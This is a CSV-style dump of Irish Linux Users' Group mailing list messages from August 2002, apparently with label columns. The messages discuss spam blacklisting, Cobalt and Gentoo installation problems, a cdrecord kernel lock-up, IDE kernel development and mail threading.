listmaster@linux.ie",0,1 """Matthew French"" ","""Ryan, Shane"" , ","Fri, 9 Aug 2002 10:04:24 +0100",Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],"Shan Ryan suggested: > IMHO stopping spammers is a great idea but I'd rather > have to hit d or delete rather than have my messages > bounced by someone else's ISP. You could also change your e-mail to a more responsible provider. If Eircom are not up to scratch, then use somebody else and make sure you let Eircom know why you think they are so useless. You can still keep your old e-mail address if you have to. To suggest that ISP's should not protect themselves against incompotent configurations would effectively be a vote in support of SPAM. - Matthew __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Matthew French"" ","""Gary Coady"" ,","Fri, 9 Aug 2002 10:14:33 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"Gary Coady wrote: > Oops, I tend to feel like that most times! I tend to feel that if we > have extremely good compilation tools, then those tools should be able > to do the inlining and optimisation far better than I could. That's the > theory anyway :) And there's always a tradeoff with inlining between > speed and memory bloat (which may sometimes be no tradeoff if swap > starts getting involved...) This is something that often annoys me. Programmers can spend hours inlining code and relying on optimisation tools to improve performance. The best performance improvement can be obtained by fixing the algorithm. Most function calls get made very rarely. Optimising them often makes no sense, produces illegable code and nonsense algorithms. Inlining will help in functions that get called frequently and are small - such as string manipulation routines. But these are a small part of most applications. One example I frequently see is people optimising a database function call. Most database accesses involve many abstraction layers and millions of instruction cycles. Trying to save a few instruction cycles would be a cost saving of, say, 5 seconds in 20 hours. But a simple hashmap cache of common data without any compiler or inline optimisations can turn that same 20 hours into 10 minutes. - Matthew (who really should be writing code) __________________________________________________ Do You Yahoo!? Everything you'll ever need on one web page from News and Sport to Email and Music Charts http://uk.my.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Fri, 9 Aug 2002 09:43:00 +0100",Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],"On Fri, Aug 09, 2002 at 09:30:29AM +0100, Ryan, Shane mentioned: > IMHO stopping spammers is a great idea but I'd rather > have to hit d or delete rather than have my messages > bounced by someone else's ISP. I'd prefer to use an ISP that didn't tolerate spammers myself. The only way Spam lists work is because ISP's customers find they can't send mail to many domains, and ask the ISP to do something about it. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Fri, 9 Aug 2002 09:42:00 +0100",Re: [ILUG] Cobalt question,"On Fri, Aug 09, 2002 at 09:26:33AM +0100, Padraig Brady mentioned: > ext2 can mount an ext3 partition, but there are > probably small changes required (to the BIOS) > to support this? Most likely. But, seeing as I've flashed the thing with the most up-to-date BIOS I could get (with all the screaming 'experimental' stuff you usually see), and no luck. Next trick is to format /boot as ext2, and try again. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Gary Coady ,"""'ilug@linux.ie'"" ","Fri, 9 Aug 2002 09:52:33 +0100",Re: [ILUG] slashdot EW Dijkstra humor,"On Thu, Aug 08, 2002 at 01:40:30PM +0100, Brian O'Donoghue wrote: > One thing that really bugs me is when people say things like. > > ""On the machies we have these days you don't have to worry about > writing optimised code"" or ""don't worry about writing > things inline, just use a function"" Oops, I tend to feel like that most times! I tend to feel that if we have extremely good compilation tools, then those tools should be able to do the inlining and optimisation far better than I could. That's the theory anyway :) And there's always a tradeoff with inlining between speed and memory bloat (which may sometimes be no tradeoff if swap starts getting involved...) Gary. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Fri, 09 Aug 2002 09:26:33 +0100",Re: [ILUG] Cobalt question,"John P. Looney wrote: > On Thu, Aug 08, 2002 at 11:51:18AM -0600, Scott Wunsch mentioned: > >>On Thu, 08-Aug-2002 at 11:31:01 +0100, John P. Looney wrote: >> >>> I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the >>>kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the >>>kernel from ... somewhere else. The old cobalt kernel. >> >>http://www.gurulabs.com/rgh-cobalt-howto/index.html >> >>The Cobalt systems have some neat firmware boot code that will read the >>ext2 filesystem and find the kernel itself... if you put it exactly where >>they expect it. > > Alas, I've been following that howto, and it doesn't seem to work. It > could be because i'm using ext3 for the rootfs though. ext2 can mount an ext3 partition, but there are probably small changes required (to the BIOS) to support this? Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Ryan, Shane"" ","""Paul Jakma"" ","Fri, 9 Aug 2002 09:30:29 +0100",RE: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],">SPEWS: to force ISPs to take action against spammers > >SPEWS /will/ list entire ISP netblocks /if/ the ISP consistently >ignores/fails to take action on abuse reports over the course of >several months. however, they're pretty quick at delisting once action >is taken. in the long-term, and in absence of global and effective >anti-UCE regulations, it's the only realistic way to get to a spam >free internet. > >Open relay lists: to protect against relays obviously. Is this something along the same line as ORBS? I remember not so long ago when eircom was put on the ORBS list, half the ISP's in Europe wouldn't accept mail from my address. Of course, informing Eircom of this did nothing for about 4 months or so. IMHO stopping spammers is a great idea but I'd rather have to hit d or delete rather than have my messages bounced by someone else's ISP. Regards, Shane -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Fri, 9 Aug 2002 09:01:52 +0100",Re: [ILUG] Cobalt question,"On Thu, Aug 08, 2002 at 11:51:18AM -0600, Scott Wunsch mentioned: > On Thu, 08-Aug-2002 at 11:31:01 +0100, John P. Looney wrote: > > I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the > > kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the > > kernel from ... somewhere else. The old cobalt kernel. > http://www.gurulabs.com/rgh-cobalt-howto/index.html > > The Cobalt systems have some neat firmware boot code that will read the > ext2 filesystem and find the kernel itself... if you put it exactly where > they expect it. Alas, I've been following that howto, and it doesn't seem to work. It could be because i'm using ext3 for the rootfs though. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Dave Wilson ,ilug@linux.ie,"Thu, 08 Aug 2002 23:57:48 +0100",[ILUG] Dialup on debian,"Hi all, I have a debian machine with an external ISDN terminal adapter, which I'm trying to get to dial a Cisco 3600 running CHAP. wvdial on Red Hat copes fine with this. However, I get the same results if i use pon or wvdial on Debian: pppd negotiation is detected, pppd is started -- and I'm never assigned an IP address. Looking at the logs on the Cisco, I see that in place of the username I seem to be transmitting a six-digit hex number. e.g.: Aug 8 23:35:00.311 UTC+1: %ISDN-6-CONNECT: Interface Serial0/0:19 is now connected to 19eb85 The last entry should be my dialup username. (Substitute incoming phone number for ). Any ideas what I'm doing wrong? Cheers, Dave -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """wintermute"" ",ilug@linux.ie,"Thu, 8 Aug 2002 22:24:32 +0100",Re: [ILUG] Gentoo Linux,"Mark Page printfd APOLOGIES IN ADVANCE FOR 80 CHAR LINES IN WEB MAIL (will get a mail client for this soon, honest) > Has anybody on the list installed/used this distro? If so wouldn't mind a bit > of help. > > Burnt the ISO's from the latest Linux Format magazine. Took a couple of > attempts to install but got there. My problem - I have a standard dial-up > modem and the installation gives you the network card setup so internet > download is out of the question, but, I installed the Stage3 tarball which > puts the .tgz files on your harddrive. > > So methinks, I have the software there and all I need to do is install so as > 1) get the necessary programmes to connect to the net and 2) install any > other programmes I might need. > > What actually happens is that if, for example, I attempt to install the KDE > package, the system goes looking for any dependencies on the net despite the > fact that the dependencies reside on my hard drive. Obviously I can't install > anything. > > Have checked all docs on the web page and nothing deals with a standard > dial-up modem or how to tell the package manager to look for the dependencies > on the hard drive. > > Anybody able to help me here? > > Thanks in anticipation. Yup I'm running it on my k6 233 laptop. It's tres sweet. I would recommend getting wvdial, opening a virtual terminal dialing the internet and then emerging the packages you need. I did my install over my home lan and the lan in work (which has DSL - running Linux as firewall/router/mailserver of course). But yes you will need at least wvdial to make this puppy happen me thinks. In fact it looks as if the base install comes with wvdial for just this kind of instal. But I just found this on the Gentoo site for you. http://forums.gentoo.org/viewtopic.php?t=4691&highlight=modem Specifically quote: If it is not too obvious, these are the steps I took. * Boot off the install CD * modprobe serial * setserial (if needed) * create mount point for other distribution * mount other distribution * chroot'd to other distribution * su - to regular user * ran wvdial * switch consoles and install as normal And yes I do give better technical support to people who use distros I like. I'm only laughing on the outside My smile is just skin deep If you could see inside I'm really crying You might join me for a weep. <> -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Mark Page ,ilug@linux.ie,"Thu, 8 Aug 2002 20:36:54 +0100",[ILUG] Gentoo Linux,"Has anybody on the list installed/used this distro? If so wouldn't mind a bit of help. Burnt the ISO's from the latest Linux Format magazine. Took a couple of attempts to install but got there. My problem - I have a standard dial-up modem and the installation gives you the network card setup so internet download is out of the question, but, I installed the Stage3 tarball which puts the .tgz files on your harddrive. So methinks, I have the software there and all I need to do is install so as 1) get the necessary programmes to connect to the net and 2) install any other programmes I might need. What actually happens is that if, for example, I attempt to install the KDE package, the system goes looking for any dependencies on the net despite the fact that the dependencies reside on my hard drive. Obviously I can't install anything. Have checked all docs on the web page and nothing deals with a standard dial-up modem or how to tell the package manager to look for the dependencies on the hard drive. Anybody able to help me here? Thanks in anticipation. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,kevin lyda ,"Thu, 8 Aug 2002 20:06:12 +0100 (IST)",Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],"On Thu, 8 Aug 2002, kevin lyda wrote: > the more the merrier indeed. > - makes it harder for spammers to do their work. however, tmda isn't > an smtp proxy normally. well, smtp being store and forward, what is an smtp proxy? :) that's why i said ""proxy"". probably, the most effective way to stop spam in the long-term is to configure your email server to use the SPEWS blacklist and a good open relay blacklist. SPEWS: to force ISPs to take action against spammers SPEWS /will/ list entire ISP netblocks /if/ the ISP consistently ignores/fails to take action on abuse reports over the course of several months. however, they're pretty quick at delisting once action is taken. in the long-term, and in absence of global and effective anti-UCE regulations, it's the only realistic way to get to a spam free internet. Open relay lists: to protect against relays obviously. > kevin regards, -- Paul Jakma Sys Admin Alphyra paulj@alphyra.ie Warning: /never/ send email to spam@dishone.st or trap@dishone.st -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,kevin lyda ,"Thu, 8 Aug 2002 19:44:11 +0100 (IST)",Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],"On Thu, 8 Aug 2002, Paul Jakma wrote: > unfortunately, often spammers provide real return addresses - just not > their own. > > so if everyone used tmda, these poor unfortunates would receive > millions of tmda confirm messages, in addition to the hundred thousand > 'undeliverable' messages that they already get.. http://messagewall.org/ same concept as tmda (smtp ""proxy"") but not as extreme as tmda.net - dnsbl, distributed checksum and various other checks. regards, -- Paul Jakma Sys Admin Alphyra paulj@alphyra.ie Warning: /never/ send email to spam@dishone.st or trap@dishone.st -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,kevin lyda ,"Thu, 8 Aug 2002 19:24:31 +0100 (IST)",Re: [ILUG] TMDA (WAS --> slashdot EW Dijkstra humor],"On Thu, 8 Aug 2002, kevin lyda wrote: > i'm certain they already do strip after the +. however, they'll > have to respond to a confirm message when they send to my raw > address. and responding to a confirm message requires spammers to > provide a real email address (which i can then blacklist - i've > mapped y in mutt to whitelist; Y to blacklist) and effectively send > the spam to each individual (which makes spamming more expensive > bandwidthwise for the spammer). unfortunately, often spammers provide real return addresses - just not their own. so if everyone used tmda, these poor unfortunates would receive millions of tmda confirm messages, in addition to the hundred thousand 'undeliverable' messages that they already get.. > kevin regards, -- Paul Jakma Sys Admin Alphyra paulj@alphyra.ie Warning: /never/ send email to spam@dishone.st or trap@dishone.st -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Scott Wunsch ,ilug@linux.ie,"Thu, 8 Aug 2002 11:51:18 -0600",Re: [ILUG] Cobalt question,"On Thu, 08-Aug-2002 at 11:31:01 +0100, John P. Looney wrote: > I've installed Redhat 7.3 on a raq3's disk. But fscked if I can get the > kernel in /boot/vmlinuz-2.4.18-3 to boot. It's insisting pulling the > kernel from ... somewhere else. The old cobalt kernel. http://www.gurulabs.com/rgh-cobalt-howto/index.html The Cobalt systems have some neat firmware boot code that will read the ext2 filesystem and find the kernel itself... if you put it exactly where they expect it. -- Take care, Scott \\'unsch ... Old musicians never die, they just decompose. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Fri, 9 Aug 2002 20:07:33 +0200 (CEST)",[ILUG] ILUG newsgroup(s)?,"Hi all, Is there any way that the mailing list can be turned into newsgroup? Newsgroups are great for threading of discussions, working offline and I feel that they work much better for this sort of technical discussion than a mailing list. Any ideas? Paul... p.s. Hamster doesn't work, cos I get the list through Yahoo! ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,ilug@linux.ie,"Fri, 9 Aug 2002 20:13:42 +0200 (CEST)",[ILUG] SUSE 8 disks?,"Hi all, I'm looking for the disks for SUSE 8. Does anybody have them for a reasonable price? I'm available to collect at the time of your convenience anywhere in the East/Greater Dublin area! TIA. Paul... ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?bryan=20roycroft?= ,ilug@linux.ie,"Sat, 10 Aug 2002 05:47:31 +1000 (EST)",[ILUG] yast2,"has anyone had a problem with Yast2 not being able to mount a source medium for installing new packages, on suse 8.0? it finds the directory containing the source, so the installation program gets as far as selecting packages, and formatting, but then says it can't mount the source directory? http://digital.yahoo.com.au - Yahoo! Digital How To - Get the best out of your PC! -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?Paul=20Linehan?= ,John Reilly ,"Sat, 10 Aug 2002 00:00:15 +0200 (CEST)",Re: [ILUG] ILUG newsgroup(s)?,"John Reilly a crit: > > Newsgroups are great for threading of discussions, > > working offline and I feel that they work > > much better for this sort of technical discussion > > than a mailing list. > I suppose its all down to personal preference, but I > disagree strongly. I suppose it is - however, nobody knows that this message is a response to your one or a follow-up to my own first message. With a newsgroup structure, this is obvious. This helps the reader eliminate threads which are irrelevant to them or whatever. Paul... ___________________________________________________________ Do You Yahoo!? -- Une adresse @yahoo.fr gratuite et en franais ! Yahoo! Mail : http://fr.mail.yahoo.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John Reilly"" ","""Paul Linehan"" ","Fri, 9 Aug 2002 19:41:26 +0100",Re: [ILUG] ILUG newsgroup(s)?,"> Is there any way that the mailing list can be > turned into newsgroup? > > Newsgroups are great for threading of discussions, > working offline and I feel that they work > much better for this sort of technical discussion > than a mailing list. I suppose its all down to personal preference, but I disagree strongly. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= ,Paul Linehan ,"Fri, 9 Aug 2002 23:17:18 +0100",Re: [ILUG] ILUG newsgroup(s)?,"On Sat, Aug 10, 2002 at 12:00:15AM +0200, Paul Linehan wrote: > I suppose it is - however, nobody knows that > this message is a response to your one or a > follow-up to my own first message. Get a decent mail client, I can tell what it is extremely easily. > With a newsgroup structure, this is obvious. > > This helps the reader eliminate threads which > are irrelevant to them or whatever. *looks at mutt* -- colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie Web: http://devnull.redbrick.dcu.ie/ -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?Q?Colm_MacC=E1rthaigh?= ,Paul Linehan ,"Fri, 9 Aug 2002 23:15:45 +0100",Re: [ILUG] ILUG newsgroup(s)?,"On Fri, Aug 09, 2002 at 08:07:33PM +0200, Paul Linehan wrote: > Is there any way that the mailing list can be > turned into newsgroup? yep, mail to news gateways are common. http://www.tldp.org/HOWTO/mini/Mail2News.html -- colmmacc@redbrick.dcu.ie PubKey: colmmacc+pgp@redbrick.dcu.ie Web: http://devnull.redbrick.dcu.ie/ -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Michael Treacy"" ","bryanroycroft@yahoo.com.au, ilug@linux.ie","Fri, 09 Aug 2002 23:17:40 +0000",Re: [ILUG] yast2,">has anyone had a problem with Yast2 not being able to >mount a source medium for installing new packages, on >suse 8.0? Nope, can't say that I had any problems installing SuSE 8.0. Just stuck in the DVD, did the install and WHAM, got a working distro. QUite an impressive one too, by the way! Mike _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Michael Conry ,ilug@linux.ie,"Sat, 10 Aug 2002 01:58:45 +0100",[ILUG] cdrecord + 2.4.19 = hard-lock,"Hi all, I've run into a fairly intractable (for me) problem, and was wondering if anybody could give me pointers on how to deal with it. I am running Debian Woody on a Pentium III IDE based system. I have a Ricoh 7083a ide cd rewriter, which I use using cdrecord and the scsi over ide kernel modules. I was running kernel 2.4.18 until probably last weekend when I noticed 2.4.19 was out. Downloaded patch and installed new kernel with no real problems. This morning I went to burn a CDROM, and the system locked hard. Rebooting into 2.4.18 allowed cdburning to work fine. This problem is very reproducible (on my system at least). the cdrecord command I was using was cdrecord -v speed=4 blank=fast dev=0,1,0 -data bak.iso The blanking appears to go ok, but when it tries to write data, it just locks up the entire system (can't ping it from outside even). AFAICS, the system just stops. Hard reset is only way back in, and when it does reboot, I cannot see anything useful in any logfiles (/var/log/messages /var/log/kern.log /var/log/syslog, at any rate). cdrecord -scanbus works fine and reports the two pseudo-scsi devices (my cdr drive and my cdrw). The same lock occurs even if there is no blanking. I tried upgrading to 2.4.20-pre1-ac1 (on assumption that if there was a kernel issue it might have been fixed in these patches), but it gives the same error. I also downloaded and compiled the source for cdrecord 1.1.10, and installed it instead of the debian package (i was wondering if maybe there was some compile option the packager had used which maybe would cause the problem), and still the problem persisted. Anyway, I'm completely stumped. Google searching has not done me much good, and I'm a little bit lost. What I'd like to know is a) How to fix the problem ;-) b) Is this likely to be an application or kernel problem? The severity of the crash would make me suspect it is a kernel problem, but I'm not very knowledgeable on these things. c) Should I post a description of this to the kernel mailing list? If this is an appropriate course of action, are there any tips (beyond the guidelines on kernel.org)? Like I said, I'm lost on this one, so any info is very gratefully received. mick -- Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 FRLinux ,ilug@linux.ie,10 Aug 2002 12:11:50 +0100,Re: [ILUG] cdrecord + 2.4.19 = hard-lock,"Hello, I have been using 2.4.19 since a couple of days on a Mandrake 8.2 with standard RPMs for cdrecord and it didn't give any hard locks on it at all, i've already burnt a couple of CDs. Steph On Sat, 2002-08-10 at 01:58, Michael Conry wrote: > Hi all, > I've run into a fairly intractable (for me) problem, and was wondering > if anybody could give me pointers on how to deal with it. > > I am running Debian Woody on a Pentium III IDE based system. > I have a Ricoh 7083a ide cd rewriter, which I use using cdrecord and the > scsi over ide kernel modules. I was running kernel 2.4.18 until > probably last weekend when I noticed 2.4.19 was out. Downloaded patch > and installed new kernel with no real problems. This morning I went to > burn a CDROM, and the system locked hard. Rebooting into 2.4.18 allowed > cdburning to work fine. > > This problem is very reproducible (on my system at least). > the cdrecord command I was using was > cdrecord -v speed=4 blank=fast dev=0,1,0 -data bak.iso > The blanking appears to go ok, but when it tries to write data, it just > locks up the entire system (can't ping it from outside even). AFAICS, > the system just stops. Hard reset is only way back in, and when it does > reboot, I cannot see anything useful in any logfiles (/var/log/messages > /var/log/kern.log /var/log/syslog, at any rate). > cdrecord -scanbus works fine and reports the two pseudo-scsi devices (my > cdr drive and my cdrw). > The same lock occurs even if there is no blanking. > > I tried upgrading to 2.4.20-pre1-ac1 (on assumption that if there was a > kernel issue it might have been fixed in these patches), but it gives > the same error. I also downloaded and compiled the source for > cdrecord 1.1.10, and installed it instead of the debian package (i was > wondering if maybe there was some compile option the packager had used > which maybe would cause the problem), and still the problem persisted. > > Anyway, I'm completely stumped. Google searching has not done me much > good, and I'm a little bit lost. What I'd like to know is > a) How to fix the problem ;-) > b) Is this likely to be an application or kernel problem? The severity > of the crash would make me suspect it is a kernel problem, but I'm > not very knowledgeable on these things. > c) Should I post a description of this to the kernel mailing list? If > this is an appropriate course of action, are there any tips (beyond > the guidelines on kernel.org)? > > Like I said, I'm lost on this one, so any info is very gratefully > received. > mick > -- > Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com > Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C > > -- > Irish Linux Users' Group: ilug@linux.ie > http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. > List maintainer: listmaster@linux.ie > -- Mail sent on Mandkrake 8.2 ext3 k2419 AMD 1.4 ""Piece by Piece, the penguins are taking my sanity apart ..."" http://frlinux.net - frlinux@frlinux.net http://gentoofr.org - Portail Francais sur Gentoo Linux -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Michael Conry ,ilug@linux.ie,"Sat, 10 Aug 2002 14:01:19 +0100",Re: [ILUG] cdrecord + 2.4.19 = hard-lock,"On 0020 +0100 %{!Sat, Aug 10, 2002 at 12:11:50PM +0100}, FRLinux wrote: > Hello, > > I have been using 2.4.19 since a couple of days on a Mandrake 8.2 with > standard RPMs for cdrecord and it didn't give any hard locks on it at > all, i've already burnt a couple of CDs. Thanks for that. I'd sort of suspected that if it was a widespread problem it would have already been fixed. Starting to look more likely it is a mistake/misconfiguration on my part, though I still don't know where to look for the mistake/misconfiguration. m -- Michael Conry Ph.:+353-1-7161987, Web: http://www.acronymchile.com Key fingerprint = 5508 B563 6791 5C84 A947 CB01 997B 3598 09DE 502C -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Sat, 10 Aug 2002 16:29:05 +0100",Re: [ILUG] cdrecord + 2.4.19 = hard-lock,"On Sat, Aug 10, 2002 at 12:11:50PM +0100, FRLinux mentioned: > I have been using 2.4.19 since a couple of days on a Mandrake 8.2 with > standard RPMs for cdrecord and it didn't give any hard locks on it at > all, i've already burnt a couple of CDs. Stephane, don't you have a SCSI CD burner though ? John -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 =?iso-8859-1?q?bryan=20roycroft?= ,ilug@linux.ie,"Sun, 11 Aug 2002 08:02:57 +1000 (EST)",[ILUG] (no subject),"the problem with yast2 comes when you try to install off a harddissssk, its like its already mounted it? http://digital.yahoo.com.au - Yahoo! Digital How To - Get the best out of your PC! -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Murtagh ,ilug@linux.ie,11 Aug 2002 00:55:10 +0100,Re: [ILUG] SUSE 8 disks? (was [ILUG] ILUG newsgroup(s)?),"On Fri, 2002-08-09 at 19:13, Paul Linehan wrote: > I'm looking for the disks for SUSE 8. Does anybody > have them for a reasonable price? First you complain about the supposed lack of threading in Internet Mail, and then you reply to one of the messages in that thread on an unrelated topic, messing things up for those of us with threading turned on? Even Outlook Express does threading! Sigh... Nick -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Murtagh ,ilug@linux.ie,11 Aug 2002 00:58:55 +0100,Re: [ILUG] Alan Cox doesn't like 2.5 so far!,"On Thu, 2002-08-08 at 13:10, Padraig Brady wrote: > Yikes, hope he's not serious! The impression I get from reading lkml the odd time is that IDE has gone downhill since Andre Hedrick was effectively removed as maintainer. Martin Dalecki seems to have been unable to further development without much breakage. However, this is part of the fun of the development kernel. Alan and others are annoyed because they can't do any development themselves while IDE is broken. Hopefully the 2.4 IDE port should help. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Nick Murtagh ,ilug@linux.ie,11 Aug 2002 01:04:45 +0100,Re: [ILUG] slashdot EW Dijkstra humor,"On Thu, 2002-08-08 at 12:18, Dave Wilson wrote: > Despite being one of Dijkstra's brain-damaged children who learned BASIC > at an early age :) I never use GOTO anymore (or any of its bastard > offspring like break, continue, fudged function calls with sleight of > hand in the variables). My code is longer than it might be if I had used You don't use break? What about case statement blocks, or leaving a for or while loop when you know you're finished? -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """wintermute"" ",ilug@linux.ie,"Sun, 11 Aug 2002 11:17:47 +0100",Re: [ILUG] Alan Cox doesn't like 2.5 so far!,"> The impression I get from reading lkml the odd time is > that IDE has gone downhill since Andre Hedrick was > effectively removed as maintainer. Martin Dalecki seems > to have been unable to further development without > much breakage. Hmm... begs the question, why remove Handrick? If it ain't broke, don't fix it. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Sun, 11 Aug 2002 12:50:26 +0100",Re: [ILUG] Alan Cox doesn't like 2.5 so far!,"On Sun, Aug 11, 2002 at 11:17:47AM +0100, wintermute mentioned: > > The impression I get from reading lkml the odd time is > > that IDE has gone downhill since Andre Hedrick was > > effectively removed as maintainer. Martin Dalecki seems > > to have been unable to further development without > > much breakage. > > Hmm... begs the question, why remove Handrick? > If it ain't broke, don't fix it. See, the IDE subsystem is like the One Ring. It's kludginess, due to having to support hundreds of dodgy chipsets & drives means that it is inherintly evil. A few months of looking at the code can turn you sour. Years of looking at it will turn you into an arsehole. They haven't found a hobbit that can code, so mortal humans have to suffice. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,wintermute ,"Sun, 11 Aug 2002 16:10:40 +0100 (IST)",Re: [ILUG] Alan Cox doesn't like 2.5 so far!,"On Sun, 11 Aug 2002, wintermute wrote: > Hmm... begs the question, why remove Handrick? andre seems to have a peculiar way of interacting with people on linux-kernel. martin otoh gets on fine with people, but doesnt /seem/ to have his head fully around the ide code yet. > If it ain't broke, don't fix it. however, how do you add features? eg tagged commands, udma100, 133, etc.. serial ATA, new chipsets. plus the IDE code might be fine, but lots of drives and chips have bugs, which need working around. all that said, Linus says he does his development on an IDE machine and hasnt had any problems. 1. judging from comments on l-k. regards, -- Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A warning: do not ever send email to spam@dishone.st Fortune: The surest way to remain a winner is to win once, and then not play any more. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Rick Moen ,ilug@linux.ie,"Sun, 11 Aug 2002 11:20:12 -0700",Re: [ILUG] SUSE 8 disks? (thread changed slightly),"Quoting Paul Linehan (plinehan@yahoo.com): > 